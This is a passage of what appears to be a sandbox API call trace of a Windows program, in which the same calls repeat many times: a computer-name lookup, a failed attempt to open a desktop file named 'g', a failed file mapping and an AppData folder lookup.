cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.776] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.776] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.776] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.776] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.776] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.776] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.776] CloseHandle (hObject=0x0) returned 0 [0144.776] CloseHandle (hObject=0xffffffff) returned 1 [0144.776] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.776] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.777] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.777] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.777] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.777] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.777] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.777] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.777] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.777] CloseHandle (hObject=0x0) returned 0 [0144.777] CloseHandle (hObject=0xffffffff) returned 1 [0144.777] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.777] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.777] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.777] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.777] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.777] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.777] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.777] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.777] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.777] CloseHandle (hObject=0x0) returned 0 [0144.777] CloseHandle (hObject=0xffffffff) returned 1 [0144.777] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.778] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.778] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.778] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.778] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.778] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.778] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.778] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.778] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.778] CloseHandle (hObject=0x0) returned 0 [0144.778] CloseHandle (hObject=0xffffffff) returned 1 [0144.778] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.778] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.778] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.778] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.778] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.778] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.778] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.778] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.778] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.778] CloseHandle (hObject=0x0) returned 0 [0144.778] CloseHandle (hObject=0xffffffff) returned 1 [0144.778] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.779] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.779] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.779] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.779] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.779] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.779] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.779] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.779] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.779] CloseHandle (hObject=0x0) returned 0 [0144.779] CloseHandle (hObject=0xffffffff) returned 1 [0145.011] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.011] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.011] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.011] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.011] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.011] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.012] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.012] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.012] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.012] CloseHandle (hObject=0x0) returned 0 [0145.012] CloseHandle (hObject=0xffffffff) returned 1 [0145.012] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.012] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.012] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.012] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.012] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.012] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.012] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.012] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.012] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.012] CloseHandle (hObject=0x0) returned 0 [0145.012] CloseHandle (hObject=0xffffffff) returned 1 [0145.012] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.012] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.012] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.012] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.012] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.013] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.013] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.013] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.013] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.013] CloseHandle (hObject=0x0) returned 0 [0145.013] CloseHandle (hObject=0xffffffff) returned 1 [0145.013] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.013] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.013] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.013] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.013] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.013] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.013] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.013] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.013] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.013] CloseHandle (hObject=0x0) returned 0 [0145.013] CloseHandle (hObject=0xffffffff) returned 1 [0145.013] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.013] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.013] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.013] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.014] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.014] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.014] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.014] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.014] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.014] CloseHandle (hObject=0x0) returned 0 [0145.014] CloseHandle (hObject=0xffffffff) returned 1 [0145.014] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.014] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.018] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.019] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.019] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.019] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.019] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.019] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.019] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.019] CloseHandle (hObject=0x0) returned 0 [0145.019] CloseHandle (hObject=0xffffffff) returned 1 [0145.019] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.019] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.019] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.019] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.019] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.019] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.019] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.019] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.019] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.019] CloseHandle (hObject=0x0) returned 0 [0145.020] CloseHandle (hObject=0xffffffff) returned 1 [0145.020] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.020] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.020] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.020] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.020] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.020] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.020] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.020] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.020] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.020] CloseHandle (hObject=0x0) returned 0 [0145.020] CloseHandle (hObject=0xffffffff) returned 1 [0145.020] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.020] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.020] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.020] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.020] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.020] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.020] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.020] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.020] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.021] CloseHandle (hObject=0x0) returned 0 [0145.021] CloseHandle (hObject=0xffffffff) returned 1 [0145.021] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.021] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.021] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.021] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.021] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.021] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.021] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.021] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.021] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.021] CloseHandle (hObject=0x0) returned 0 [0145.021] CloseHandle (hObject=0xffffffff) returned 1 [0145.021] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.021] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.021] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.021] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.021] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.021] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.021] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.022] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.022] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.022] CloseHandle (hObject=0x0) returned 0 [0145.022] CloseHandle (hObject=0xffffffff) returned 1 [0145.022] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.022] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.022] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.022] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.022] CreateFileW (lpFileName="g" (normalized: 